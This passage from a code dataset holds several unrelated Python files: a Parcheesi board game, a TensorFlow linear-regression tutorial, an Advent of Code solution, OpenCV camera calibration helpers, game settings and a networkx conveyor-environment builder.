self.players[i].pieces[piece_num].move(d)\r\n self.isEndCoord(nextcoord,i)\r\n movedaPiece = True\r\n else:\r\n self.players[i].pieces[piece_num].move(d)\r\n self.isEndCoord(nextcoord, i)\r\n movedaPiece = True\r\n\r\n if movedaPiece is False:\r\n print(\"Piece cant be moved\")\r\n\r\n\r\n else:\r\n if 0 < self.players[i].path < 4:\r\n movedaPiece = False # Variable to continue\r\n while movedaPiece is False:\r\n piece_num = self.boxToPiece(i) # The player clicks a box to choose which Piece to move\r\n nextcoord = self.players[i].pieces[piece_num].nextcoords(i, d)\r\n\r\n if self.isSafeSpot(nextcoord) and self.isOccupied(nextcoord, i):\r\n pass # Cant move the Piece if next coord is a safe space and is occupied:\r\n elif self.isSafeSpot(nextcoord):\r\n self.players[i].pieces[piece_num].move(d)\r\n self.isEndCoord(nextcoord, i)\r\n movedaPiece = True\r\n elif self.isOccupied(nextcoord, i):\r\n self.eat(nextcoord)\r\n self.players[i].pieces[piece_num].move(d)\r\n self.isEndCoord(nextcoord, i)\r\n movedaPiece = True\r\n else:\r\n self.players[i].pieces[piece_num].move(d)\r\n self.isEndCoord(nextcoord, i)\r\n movedaPiece = True\r\n\r\n if movedaPiece is False:\r\n print(\"Piece cant be moved\")\r\n\r\n def boxToPiece(self, i):\r\n clickedaBox = False\r\n while clickedaBox is False:\r\n click = self.win.getMouse()\r\n if self.box_num[0].getP2().getX() >= click.getX() >= self.box_num[0].getP1().getX() and self.box_num[0].getP2().getY() >= click.getY() >= self.box_num[0].getP1().getY():\r\n if self.players[i].pieces[0].isStart is False:\r\n return 0\r\n elif self.box_num[1].getP2().getX() >= click.getX() >= self.box_num[1].getP1().getX() and self.box_num[1].getP2().getY() >= click.getY() >= self.box_num[1].getP1().getY():\r\n if self.players[i].pieces[1].isStart is False:\r\n return 1\r\n elif self.box_num[2].getP2().getX() >= click.getX() >= self.box_num[2].getP1().getX() and self.box_num[2].getP2().getY() >= click.getY() >= self.box_num[2].getP1().getY():\r\n if self.players[i].pieces[2].isStart is False:\r\n return 2\r\n elif self.box_num[3].getP2().getX() >= click.getX() >= self.box_num[3].getP1().getX() and self.box_num[3].getP2().getY() >= click.getY() >= self.box_num[3].getP1().getY():\r\n if self.players[i].pieces[3].isStart is False:\r\n return 3\r\n\r\n def isEndCoord(self, nextcoord, i): # Adds one to the End Counter\r\n nextX = nextcoord.getX()\r\n nextY = nextcoord.getY()\r\n for s in self.end_spots:\r\n if nextX == s.getX() and nextY == s.getY():\r\n self.players[i].path -= 1\r\n self.players[i].end += 1\r\n\r\n def isSafeSpot(self, nextcoord):\r\n nextX = nextcoord.getX()\r\n nextY = nextcoord.getY()\r\n for s in self.safe_spots:\r\n if nextX == s.getX() and nextY == s.getY():\r\n print(\"Its Safe\")\r\n return True\r\n print(\"NOT Safe\")\r\n return False\r\n\r\n def isOccupied(self, nextcoord,i):\r\n nextX = nextcoord.getX()\r\n nextY = nextcoord.getY()\r\n for pl in self.players:\r\n for pi in pl.pieces:\r\n if self.players == pl:\r\n pass\r\n elif nextX == pi.shape.getCenter().getX() and nextY == pi.shape.getCenter().getY():\r\n print(\"Its Occupied\")\r\n return True\r\n print(\"Its not Occupied\")\r\n return False\r\n\r\n def eat(self,nextcoord):\r\n nextX = nextcoord.getX()\r\n nextY = nextcoord.getY()\r\n for player in self.players:\r\n for piece in player.pieces:\r\n if nextX == piece.shape.getCenter().getX() and nextY == piece.shape.getCenter().getY():\r\n player.add_start()\r\n piece.moveToStart()\r\n break\r\n\r\n def hasEnded(self):\r\n for p in range(len(self.players)):\r\n if self.players[p].end == 4:\r\n return True\r\n return False\r\n\r\n def spawnorMove(self):\r\n clickedaBox = False\r\n box = [Rectangle(Point(1200, 200), (Point(1250, 240))),\r\n Rectangle(Point(1270, 200), (Point(1320, 240)))]\r\n for x in box:\r\n x.setFill(\"black\")\r\n x.draw(self.win)\r\n txt = [Text(Point(1225, 220), \"Spawn\"), Text(Point(1295, 220), \"Move\")]\r\n for x in txt:\r\n x.setOutline(\"white\")\r\n x.draw(self.win)\r\n while clickedaBox is False:\r\n click = self.win.getMouse()\r\n print(\"Recieved Click for Spawn or Move\")\r\n print(f\"CLick is ({click.getX()}, {click.getY()}\")\r\n print(f\"X: {box[0].getP2().getX()} <= {click.getX()} <= {box[0].getP1().getX()}\")\r\n print(box[0].getP2().getX() <= click.getX() <= box[0].getP1().getX())\r\n print(f\"Y: {box[0].getP2().getY()} <= {click.getY()} <= {box[0].getP1().getY()}\")\r\n print(box[0].getP2().getY() <= click.getY() <= box[0].getP1().getY())\r\n if box[0].getP2().getX() >= click.getX() >= box[0].getP1().getX() and box[0].getP2().getY() >= click.getY() >= box[0].getP1().getY():\r\n for x in txt:\r\n x.undraw()\r\n for x in box:\r\n x.undraw()\r\n return 1\r\n\r\n elif box[1].getP2().getX() >= click.getX() >= box[1].getP1().getX() and box[1].getP2().getY() >= click.getY() >= box[1].getP1().getY():\r\n for x in txt:\r\n x.undraw()\r\n for x in box:\r\n x.undraw()\r\n return 2\r\n\r\n def drawall(self, win):\r\n t1 = Text(Point(1250, 830), \"What Piece do you want to move?\")\r\n t1.setSize(22)\r\n t1.draw(win)\r\n numboxes = [Rectangle(Point(1150, 850), Point(1180, 880)), Rectangle(Point(1200, 850), Point(1230, 880)),\r\n Rectangle(Point(1150, 900), Point(1180, 930)), Rectangle(Point(1200, 900), Point(1230, 930))]\r\n\r\n numtxt = [Text(Point(1165, 865), '1'), Text(Point(1215, 865), '2'),\r\n Text(Point(1165, 915), '3'), Text(Point(1215, 915), '4')]\r\n box2 = Rectangle(Point(1250, 600), Point(1330, 650))\r\n box2.setFill(\"black\")\r\n box2.draw(win)\r\n txt2 = Text(Point(1290, 625), 'Roll Dices')\r\n txt2.setOutline(\"white\")\r\n txt2.draw(win)\r\n for x in numboxes:\r\n x.setFill(\"black\")\r\n x.draw(win)\r\n for x in numtxt:\r\n x.setOutline(\"white\")\r\n x.draw(win)\r\n return numboxes\r\n\r\ndef parcheesi():\r\n win = GraphWin(\"Parcheesi Game\", 1500, 1024)\r\n theBoard = Board(win)\r\n dices2 = [DieView(win, Point(1200, 500), 100), DieView(win, Point(1400, 500), 100)]\r\n\r\n player = 0\r\n while theBoard.hasEnded() is False:\r\n t1 = Text(Point(1250, 80), f\"Player {player+1}'s turn.\")\r\n t1.setSize(22)\r\n t1.draw(win)\r\n moved = False\r\n win.getMouse()\r\n dices = rollDice(dices2)\r\n win.getMouse()\r\n theBoard.turn(win, player, dices)\r\n if dices[0] != dices[1]:\r\n player = theBoard.cicle(player)\r\n\r\n t1.undraw()\r\n\r\n win.getMouse()\r\n\r\n\r\ndef rollDice(dices2):\r\n dicevalue1 = randint(1, 6)\r\n dicevalue2 = randint(1, 6)\r\n dices2[0].setValue(dicevalue1)\r\n dices2[1].setValue(dicevalue2)\r\n return dicevalue1, dicevalue2\r\n\r\n\r\ndef main():\r\n parcheesi()\r\n\r\n\r\nmain()","sub_path":"Board.py","file_name":"Board.py","file_ext":"py","file_size_in_byte":16556,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"610443930","text":"import os\n\nclass AbstractFeatureExtractor:\n def __init__(self, dataset_path = None, folder_list = None):\n if dataset_path == None:\n self.dataset_path = '/home/ubuntu/data/'\n else:\n self.dataset_path = dataset_path\n if folder_list == None:\n self.folder_list = self.list_subfolders(self.dataset_path)\n else:\n self.folder_list = folder_list\n self.folder_list = self.list_folders(self.folder_list)\n\n\n\n def list_folders(self, folder_list):\n \"\"\"\n :return: a list of folders to predict\n \"\"\"\n # in the case folder_list is complete or already parsed\n if type(folder_list) == dict:\n return self.folder_list\n\n res = {}\n for f in folder_list:\n res[f] = self.list_subfolders(f)\n return res\n\n\n\n def list_subfolders(self, folder_name):\n \"\"\"\n :param folder_name: folder to navigate\n :return: list of all folders in given folder_name\n \"\"\"\n subfolder_list = []\n for f in os.listdir(folder_name):\n if os.path.isdir(folder_name + f) and f != 'Reference':\n subfolder_list.append(folder_name + f + '/')\n return subfolder_list\n\n\n def save_features(self):\n for f, sub in self.folder_list.iteritems():\n self.folder_feature_extractor(f + 'Reference/')\n for ff in sub:\n self.folder_feature_extractor(ff)\n return ''\n\n def folder_feature_extractor(self, folder_name):\n pass\n","sub_path":"temp/AbstractFeatureExtractor.py","file_name":"AbstractFeatureExtractor.py","file_ext":"py","file_size_in_byte":1550,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"586969061","text":"# Copyright (c) 2021, Galois, Inc.\n#\n# All Rights Reserved\n#\n# This material is based upon work supported by the Defense Advanced Research\n# Projects Agency (DARPA) under Contract No. FA8750-20-C-0203.\n#\n# Any opinions, findings and conclusions or recommendations expressed in this\n# material are those of the author(s) and do not necessarily reflect the views\n# of the Defense Advanced Research Projects Agency (DARPA).\n\nfrom ontology_changes import Commit\n\ncommit = Commit(\n number=\"a95a46dec5162e65979d96ba140559dfb3013d23\",\n tag=\"v4.8\",\n changes=[\n # no ontology change, just here for the tag\n ],\n)\n","sub_path":"migration/rack/commits/commita95a46dec5162e65979d96ba140559dfb3013d23.py","file_name":"commita95a46dec5162e65979d96ba140559dfb3013d23.py","file_ext":"py","file_size_in_byte":622,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"313981798","text":"#Input stored in instructions as two letters, of which the first step represented by the first letter must be completed befroe the second can be undertaken\n\ninstructions = []\nraw = open(\"day7_input.txt\",\"r\")\nfor line in raw:\n part1 = line[5]\n part2 = line[36]\n instructions.append([part1, part2])\nraw.close()\n\n\"\"\"\nCreate a list of all possible instructions (ie every letter of the alphabet)\nEach letter also store a time which corrisponds to how many seconds it takes to complete the task associated with the letter (sec)\nThis calculated as 60 + (letter's position in alphabet) eg A = 60 + 1\n\"\"\"\nsec = 61\nalpha = []\nfor letter in range(65,91):\n alpha.append([chr(letter),sec])\n sec += 1\n\n#Pass through instructions and make a list (start) of all tasks that can be completed without requiring another task to be finished first\nstart = []\nfor letter in alpha:\n check = 0\n for ins in instructions:\n if ins[1] == letter[0]:\n check = 1\n if check == 0:\n start.append([letter[0],letter[1]])\n\n\"\"\"\nMake a list that for each letter stores all other letters that must be completed before the specified letter can be done (pre_rec)\nSkip other any letters that appear in start\n\"\"\"\npre_rec = []\nfor letter in alpha:\n if letter in start:\n continue\n temp = [letter[0], letter[1]]\n for line in instructions:\n if line[1] == letter[0]:\n temp.append(line[0])\n pre_rec.append(temp)\n\n#List to store the answer to part 1.\nanswer1 = []\n\n\"\"\"\nPopulate answer1 with the letters in the order they will be completed\nLoop coninues while there are still letters missing from answer1 ie. Number of letters in answer is less than the number of letters in alpha\nFor each pass of the loop, the list next_step stores all possible actions that could be completed given ones already completed in answer1\nFirst any letters in start that are not in answer1 are added, as they have no pre-requisits\nThen any letter not in the answer1 and for which all of its prerequisits are completed are also added\nnext_step is sorted so that letters are added to answer1 in the correct order\nThe first item not in answer1 is added to it, and the the loop is started over again\n\"\"\"\nwhile len(answer1) < len(alpha):\n next_step = []\n for st in start:\n if st[0] not in answer1:\n next_step.append(st[0])\n for pr in pre_rec:\n if pr[0] in answer1:\n continue\n check = 0\n for i in range(2,len(pr)):\n if pr[i] not in answer1:\n check = 1\n if check == 0:\n next_step.append(pr[0])\n next_step.sort()\n for ns in next_step:\n if ns[0] not in answer1:\n answer1.append(ns[0])\n break\n#Answer is converted into a string (final) and output\nfinal = \"\".join(answer1)\nprint(\"Part 1 answer: \" + final)\n\n\"\"\"\nanswer2 acts as answer1 did but for the send part of the puzzle\nworkers stores the current state of the 5 workers. Each worker consists of a letter - denoting which task they are working on - and a number which startes how long they have left on the current task\nIf a work has no letter, the default state is \"\"\ntime counts how many complete ticks (times the loop has completed) have occured\nstarted stores a list of tasks which have been started but are not yet complete\n\"\"\"\nanswer2 = []\nworkers = [[\"\",0] for m in range(0,5)]\ntime = 0\nstarted = []\n\n\"\"\"\nAgain, answer2 is populated with tasks in the order they are completed\nEach worker checks for avalible task as was done in part 1 of the puzzle, building a list of next_step\nOnce next_step is ready, it is checked against started to see if another worker is already working on the task.\nIf it is free, then the current worker is asigned both that letter and its corresponding time from alpha\nOnce all workers have checked check to see if a task is avalible, their respective countdown are reduced by one\nEach worker is checked to see if the countdown on its current task has reached 0. If so, that task is added to answer2 and the worker is reset to the default state\nFinally, the counter tick is increased by 1\nOnce answer2 has each task stored in it, the loop ends and tick is output\n\"\"\"\nwhile len(answer2) < len(alpha):\n for worker in workers:\n if worker[1] == 0:\n next_step = []\n for st in start:\n if st[0] not in answer2:\n next_step.append([st[0],st[1]])\n for pr in pre_rec:\n if pr[0] in answer2:\n continue\n check = 0\n for i in range(2,len(pr)):\n if pr[i] not in answer2:\n check = 1\n if check == 0:\n next_step.append([pr[0],pr[1]])\n next_step.sort()\n for ns in next_step:\n if ns[0] in started:\n continue\n if ns[0] not in answer2:\n worker[0] = ns[0]\n worker[1] = ns[1]\n started.append(ns[0])\n change = 1\n break\n for worker in workers:\n if worker[1] > 0:\n worker[1] -= 1\n for worker in workers:\n if worker[1] == 0 and worker[0] != \"\":\n answer2.append(worker[0])\n worker[0] = \"\"\n time += 1\nprint(\"Part 2 answer: \" + str(time))\n","sub_path":"day7.py","file_name":"day7.py","file_ext":"py","file_size_in_byte":5373,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"171479720","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n# @File : settings.py\n# @Time : 2021/9/17 17:19\n# @Author : Leo\n# @Software: PyCharm\nclass Settings:\n \"\"\"存储游戏《外星人入侵》中所有设置的类\"\"\"\n def __init__(self):\n \"\"\"初始化游戏的静态设置。\"\"\"\n # 屏幕设置\n self.screen_width = 1200\n self.screen_height = 800\n self.bg_color = (230, 230, 230)\n # self.bg_color = (255, 255, 255)\n\n # 飞船设置\n self.ship_limit = 1\n\n # 子弹设置\n self.bullet_width = 300\n self.bullet_height = 15\n self.bullet_color = (60, 60,60)\n self.bullets_allowed = 3\n # 剩余子弹次数\n self.bullet_limit = 1\n\n # 加快游戏节奏的速度。\n self.speedup_scale = 1.1\n # 外星人分数的提高速度。\n self.score_scale = 1.5\n\n self.initialize_dynamic_settings()\n\n def initialize_dynamic_settings(self):\n \"\"\"初始化随游戏进行而变化的设置。\"\"\"\n # 飞船设置\n self.ship_speed = 1.5\n self.ship_killed = 0\n\n # 子弹设置\n self.bullet_speed = 3.0\n\n # 外星人设置\n self.alien_speed = 0.5\n\n # 外星人设置\n self.fleet_drop_speed = 10\n\n # fleet_direction为1表示向右移,为-1表示向左移\n self.fleet_direction = 1\n self.alien_killed = 0\n\n # 记分\n self.alien_points = 50\n\n def increase_speed(self):\n \"\"\"提高速度设置和外星人分数。\"\"\"\n self.ship_speed *= self.speedup_scale\n self.bullet_speed *= self.speedup_scale\n self.alien_speed *= self.speedup_scale\n self.fleet_drop_speed *= self.speedup_scale\n self.alien_points = int(self.alien_points * self.score_scale)\n print(self.alien_points)","sub_path":"settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":1850,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"240453594","text":"# linear regression : feeding\nimport tensorflow as tf\ntf.set_random_seed(777)\n\n\"\"\"\ndata-set: trainig(7)/test(3)\nex)data 100개: 트레이닝70개, 테스트30개\n\"\"\"\n#########그래프 정의############\nw = tf.Variable(tf.random_normal([1])) #정규화분포에서 임의의 난수 1개\nb = tf.Variable(tf.random_normal([1]))\n\nx = tf.placeholder(tf.float32, shape=[None])\ny = tf.placeholder(tf.float32, shape=[None]) # y는 x에 대한 값이므로 x데이터 개수가 같음\nhf = w * x + b\n\ncost = tf.reduce_mean(tf.square(hf - y))\noptimizer = tf.train.GradientDescentOptimizer(learning_rate=0.01)\ntrain = optimizer.minimize(cost)\n\n##########그래프 실행########\nsess = tf.Session()\nsess.run(tf.global_variables_initializer())\n\nfor step in range(2001):\n sess.run(train, feed_dict={x:[1,2,3], y:[1,2,3]})\n if step%20==0:\n print(step, sess.run(cost, feed_dict={x:[1,2,3], y:[1,2,3]}))\n\nprint(\"==========모델==================\")\nprint(step, sess.run(cost, feed_dict={x:[1,2,3], y:[1,2,3]}))\nprint(step, sess.run(w))\nprint(step, sess.run(b))\n\nprint(step, sess.run([cost,w,b], feed_dict={x:[1,2,3], y:[1,2,3]}))\n\ncv, wv, bv = sess.run([cost,w,b], feed_dict={x:[1,2,3], y:[1,2,3]})\nprint(\"비용:\", cv, \"가중치:\", wv, \"편향:\", bv)\n\n#######예측해보기###########\n# x=2.5, x=5, x=1.5, 3.5일때 예측값(hf)???\n\nprint(\"2.5일때 예상되는 값:\", sess.run(hf, feed_dict={x:[2.5]}))\nprint(\"5일때 예상되는 값:\", sess.run(hf, feed_dict={x:[5]}))\nprint(\"1.5일때와 3.5일때 예상되는 값:\", sess.run(hf, feed_dict={x:[1.5, 3.5]}))\n\n","sub_path":"workspace/DL/DL2-4.py","file_name":"DL2-4.py","file_ext":"py","file_size_in_byte":1569,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"633476141","text":"import sys\n\nif __name__ == '__main__':\n if len(sys.argv) == 2:\n catalog = sys.argv[1]\n files = ('Cash1.txt', 'Cash2.txt', 'Cash3.txt', 'Cash4.txt', 'Cash5.txt')\n data = dict()\n for file in files:\n with open('{}\\\\{}'.format(catalog, file)) as f:\n data[file.rstrip('.txt')] = list(map(float, f.readlines()))\n sum_people = list(map(lambda d1, d2, d3, d4, d5: (d1 or 0) + (d2 or 0) + (d3 or 0) + (d4 or 0) + (d5 or 0),\n data['Cash1'], data['Cash2'], data['Cash3'], data['Cash4'], data['Cash5']))\n print(sum_people.index(max(sum_people)) + 1)","sub_path":"task3/task3.py","file_name":"task3.py","file_ext":"py","file_size_in_byte":637,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"556154842","text":"'''\r\nCreated on 25. 10. 2017\r\nfunkce pro zjednodušení/zpřehlednění skriptů\r\n\r\n\r\n@author: Hijtec\r\n'''\r\nimport numpy as np\r\nimport cv2, time\r\n\r\n\r\n \r\ndef Release(): #odpojí kameru a zavře všechny okna\r\n try:\r\n cap.release();\r\n except:\r\n pass\r\n try:\r\n cap2.release();\r\n except:\r\n pass\r\n cv2.destroyAllWindows()\r\n\r\n\r\ndef CalibrateCamera(camera): #vrátí feed, matici, přetvoření a další věci, celkem 7\r\n # termination criteria\r\n criteria = (cv2.TERM_CRITERIA_EPS + cv2.TERM_CRITERIA_MAX_ITER, 30, 0.001)\r\n\r\n objp = np.zeros((6*9,3), np.float32)\r\n objp[:,:2] = np.mgrid[0:9,0:6].T.reshape(-1,2)\r\n\r\n objpoints = []\r\n imgpoints = []\r\n\r\n cap = cv2.VideoCapture(camera);\r\n i = 0\r\n \r\n while i<=20:\r\n __, frame = cap.read();\r\n gray = cv2.cvtColor(frame,cv2.COLOR_BGR2GRAY);\r\n ret, corners = cv2.findChessboardCorners(gray, (9,6),None);\r\n \r\n if ret == True:\r\n objpoints.append(objp);\r\n corners2 = cv2.cornerSubPix(gray,corners,(11,11),(-1,-1),criteria);\r\n imgpoints.append(corners2);\r\n frame = cv2.drawChessboardCorners(frame, (9,6), corners2,ret);\r\n i +=1;\r\n time.sleep(1);\r\n \r\n \r\n cv2.imshow(\"cap\",frame)\r\n if cv2.waitKey(1) & 0xFF == ord(\"q\"):\r\n break\r\n \r\n ret, mtx, dist, rvecs, tvecs = cv2.calibrateCamera(objpoints, imgpoints, gray.shape[::-1],None,None);\r\n \r\n return cap, mtx, dist, rvecs, tvecs, objpoints, imgpoints\r\n cv2.waitKey(1);\r\n cv2.destroyWindow('cap'); #tohle se nechce zavřít :D\r\n\r\ndef Calibrate2Cameras(camera1,camera2): #vrátí feed, matici, přetvoření a další věci, celkem 7\r\n # termination criteria\r\n criteria = (cv2.TERM_CRITERIA_EPS + cv2.TERM_CRITERIA_MAX_ITER, 30, 0.001)\r\n\r\n objp = np.zeros((6*9,3), np.float32)\r\n objp[:,:2] = np.mgrid[0:9,0:6].T.reshape(-1,2)\r\n objp2 = np.zeros((6*9,3), np.float32)\r\n objp2[:,:2] = np.mgrid[0:9,0:6].T.reshape(-1,2)\r\n\r\n objpoints = []\r\n imgpoints = []\r\n objpoints2 = []\r\n imgpoints2 = []\r\n \r\n CAMERA_WIDTH = 640\r\n CAMERA_HEIGHT = 480\r\n\r\n cap = cv2.VideoCapture(camera1);\r\n cap2 = cv2.VideoCapture(camera2);\r\n cap.set(cv2.CAP_PROP_FRAME_WIDTH, CAMERA_WIDTH)\r\n cap.set(cv2.CAP_PROP_FRAME_HEIGHT, CAMERA_HEIGHT)\r\n cap2.set(cv2.CAP_PROP_FRAME_WIDTH, CAMERA_WIDTH)\r\n cap2.set(cv2.CAP_PROP_FRAME_HEIGHT, CAMERA_HEIGHT)\r\n i = 0\r\n \r\n while i<=50:\r\n __, frame = cap.read();\r\n __, frame2 = cap2.read();\r\n \r\n gray = cv2.cvtColor(frame,cv2.COLOR_BGR2GRAY);\r\n gray2 = cv2.cvtColor(frame2,cv2.COLOR_BGR2GRAY);\r\n \r\n ret, corners = cv2.findChessboardCorners(gray, (9,6),None);\r\n ret2, corners2 = cv2.findChessboardCorners(gray2, (9,6),None);\r\n \r\n both = ret + ret2;\r\n \r\n if both == 2:\r\n objpoints.append(objp);\r\n objpoints2.append(objp2);\r\n \r\n corners_draw = cv2.cornerSubPix(gray,corners,(11,11),(-1,-1),criteria);\r\n corners2_draw2 = cv2.cornerSubPix(gray2,corners2,(11,11),(-1,-1),criteria);\r\n \r\n imgpoints.append(corners_draw);\r\n imgpoints2.append(corners2_draw2);\r\n \r\n frame = cv2.drawChessboardCorners(frame, (9,6), corners_draw,ret);\r\n frame2 = cv2.drawChessboardCorners(frame2, (9,6), corners2_draw2,ret2);\r\n \r\n i +=1;\r\n time.sleep(0.5);\r\n \r\n \r\n cv2.imshow(\"cap\",frame)\r\n cv2.imshow(\"cap2\",frame2)\r\n if cv2.waitKey(1) & 0xFF == ord(\"q\"):\r\n break\r\n \r\n ret, mtx, dist, rvecs, tvecs = cv2.calibrateCamera(objpoints, imgpoints, gray.shape[::-1],None,None);\r\n ret2,mtx2,dist2,rvecs2,tvecs2 = cv2.calibrateCamera(objpoints2,imgpoints2,gray2.shape[::-1],None,None);\r\n imgsize=gray.shape[::-1]\r\n print(imgsize)\r\n \r\n \r\n (_,_,_,_,_,rotationMatrix, translationVector,_,_) = cv2.stereoCalibrate(objpoints,imgpoints,imgpoints2,mtx,dist,mtx2,dist2,gray.shape[::-1],None,None,cv2.CALIB_FIX_INTRINSIC, criteria)\r\n (leftRectification, rightRectification, leftProjection, rightProjection, dispartityToDepthMap, leftROI, rightROI) = cv2.stereoRectify(mtx, dist,mtx2, dist2,gray.shape[::-1], rotationMatrix, translationVector, cv2.CALIB_ZERO_DISPARITY, 0,(0,0))\r\n \r\n leftMapX, leftMapY = cv2.initUndistortRectifyMap(mtx, dist, leftRectification, leftProjection, imgsize, cv2.CV_32FC1)\r\n rightMapX, rightMapY = cv2.initUndistortRectifyMap(mtx2, dist2, rightRectification, rightProjection, imgsize, cv2.CV_32FC1)\r\n \r\n \r\n \r\n cv2.destroyWindow('cap'); #tohle se nechce zavřít :D\r\n cv2.destroyWindow('cap2'); #tohle se nechce zavřít :D\r\n \r\n return imgsize, leftMapX, leftMapY, leftROI, rightMapX, rightMapY, rightROI, frame, frame2\r\n\r\ndef Undistort(cap, mtx, dist): #vrátí zkalibrovaný feed kamery\r\n while True:\r\n if cap == 0:\r\n cap = cv2.VideoCapture(0)\r\n else:\r\n cap = cv2.VideoCapture(1)\r\n \r\n ___,frame = cap.read()\r\n h, w = frame.shape[:2];\r\n newcameramtx, roi = cv2.getOptimalNewCameraMatrix(mtx,dist,(w,h),0,(w,h));\r\n undst = cv2.undistort(frame,mtx,dist, None, newcameramtx);\r\n x,y,w,h = roi;\r\n undst = undst[y:y+h, x:x+w];\r\n \r\n return undst","sub_path":"2018_BP_Cernil_Vyuziti_knihovny_OpenCV_pro_mechatronicke_aplikace/08_Devnotes_scripty/Advanced/functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":5427,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"228612514","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed May 29 09:37:43 2019\n\n@author: RTS\n\"\"\"\nfrom .Element import Element, Diverter, Merger, Toploader\nimport networkx as nx\nimport numpy as np\nimport scipy\n#import pylab as plt\n#from networkx.drawing.nx_agraph import graphviz_layout, to_agraph\n#import pygraphviz as pgv\n\ndef connect(element1=Element(), elem1conn = 0, element2=Element(), elem2conn=0, graph=nx.DiGraph()):\n element1.setOutputElements(elem1conn, element2) \n element2.setInputElements(elem2conn, element1)\n graph.add_edge(element1.ID,element2.ID)\n \ndef add_straights(src, srcConnector, number, elems, graph):\n straights = []\n if elems != []:\n maxID = max([e.ID for e in elems])\n else:\n maxID = -1\n for i in range(number):\n straights.append(Element(ID=maxID+i+1))\n connect(src, srcConnector, straights[0], 0, graph)\n for i in range(len(straights)-1):\n connect(straights[i], 0,straights[i+1],0, graph)\n for s in straights:\n elems.append(s)\n \ndef createGCNMat(graph):\n adjMat = nx.to_numpy_matrix(graph)\n # myGraph = nx.convert_matrix.from_numpy_matrix(adjMat,create_using=nx.DiGraph())\n\n GCNMat = adjMat+np.identity(adjMat.shape[0])\n D_ = np.zeros_like(GCNMat)\n for i in range(GCNMat.shape[0]):\n D_[i,i] = np.sum(GCNMat[i,:])\n D_ = scipy.linalg.fractional_matrix_power(D_,-0.5)\n \n GCNMat = np.matmul(np.matmul(D_, GCNMat), D_)\n GCNMat = np.float32(GCNMat)\n \n return GCNMat\n\ndef env_0_0(): #16 elements\n graph = nx.DiGraph()\n \n elements = [Toploader(ID=0)]\n \n elements.append(Merger(ID=1))\n connect(elements[-2],0,elements[-1],0,graph)\n \n add_straights(src=elements[-1],srcConnector=0,number=6,elems=elements,graph=graph)\n \n elements.append(Diverter(ID=max([e.ID for e in elements])+1))\n connect(elements[-2],0,elements[-1],0,graph)\n \n add_straights(src=elements[-1],srcConnector=0,number=3,elems=elements,graph=graph)\n connect(elements[-1],0,elements[0],0,graph)\n \n add_straights(src=elements[8],srcConnector=1,number=4,elems=elements,graph=graph)\n connect(elements[-1],0,elements[1],1,graph)\n\n src = [0]\n dst = [3,7,9,14]\n \n GCNMat = createGCNMat(graph)\n print('Number of elements in environment: ', len(elements))\n return elements, dst, src, graph, GCNMat\n\ndef env_1_0(): #34 elements\n graph = nx.DiGraph()\n \n elements = [Toploader(ID=0)]\n P0 = elements[-1].ID\n \n elements.append(Element(ID=len(elements)))\n connect(elements[-2],0,elements[-1],0,graph)\n P1 = elements[-1].ID\n \n elements.append(Diverter(ID=len(elements)))\n connect(elements[-2],0,elements[-1],0,graph)\n div1 = elements[-1].ID\n \n add_straights(src=elements[-1],srcConnector=0,number=6,elems=elements,graph=graph)\n \n elements.append(Element(ID=len(elements)))\n connect(elements[-2],0,elements[-1],0,graph)\n P2 = elements[-1].ID\n \n add_straights(src=elements[-1],srcConnector=0,number=5,elems=elements,graph=graph)\n \n elements.append(Element(ID=len(elements)))\n connect(elements[-2],0,elements[-1],0,graph)\n P3 = elements[-1].ID\n \n add_straights(src=elements[-1],srcConnector=0,number=3,elems=elements,graph=graph)\n \n elements.append(Merger(ID=len(elements)))\n connect(elements[-2],0,elements[-1],1,graph)\n mer1 = elements[-1].ID\n \n elements.append(Element(ID=len(elements)))\n connect(elements[-2],0,elements[-1],0,graph)\n P4 = elements[-1].ID\n \n add_straights(src=elements[-1],srcConnector=0,number=4,elems=elements,graph=graph)\n connect(elements[-1],0,elements[P0],0,graph)\n \n add_straights(src=elements[div1],srcConnector=1,number=4,elems=elements,graph=graph)\n \n elements.append(Element(ID=len(elements)))\n connect(elements[-2],0,elements[-1],0,graph)\n P5 = elements[-1].ID\n \n add_straights(src=elements[-1],srcConnector=0,number=4,elems=elements,graph=graph)\n connect(elements[-1],0,elements[mer1],0,graph)\n \n src = [P0]\n dst = [P1, P2, P3, P4, P5]\n \n GCNMat = createGCNMat(graph)\n \n print('Number of elements in environment: ', len(elements))\n return elements, dst, src, graph, GCNMat\n\n\ndef env_2_0(): #101 elements\n elements = []\n src = []\n dst = []\n graph = nx.DiGraph()\n \n elements.append(Toploader(ID=0))\n P0 = elements[-1].ID\n src.append(P0)\n \n elements.append(Element(ID=len(elements)))\n P1 = elements[-1].ID\n connect(elements[P0],0,elements[P1],0,graph)\n dst.append(P1)\n \n elements.append(Diverter(ID=len(elements)))\n P1_o = elements[-1].ID\n connect(elements[P1],0,elements[P1_o],0,graph)\n \n add_straights(elements[P1_o],1,1,elements,graph)\n P1_o_1 = elements[-1].ID\n elements.append(Element(ID=len(elements)))\n P6 = elements[-1].ID\n connect(elements[P1_o_1],0,elements[P6],0,graph)\n dst.append(P6)\n \n elements.append(Diverter(ID=len(elements)))\n P6_o0 = elements[-1].ID\n connect(elements[P6],0,elements[P6_o0],0,graph)\n \n add_straights(elements[P6_o0],1,3,elements,graph)\n P6_o0_1 = elements[-1].ID\n \n elements.append(Merger(ID=len(elements)))\n P2_i0 = elements[-1].ID\n connect(elements[P6_o0_1],0,elements[P2_i0],1,graph)\n \n elements.append(Merger(ID=len(elements)))\n P2_i1 = elements[-1].ID\n connect(elements[P2_i0],0,elements[P2_i1],0,graph)\n \n 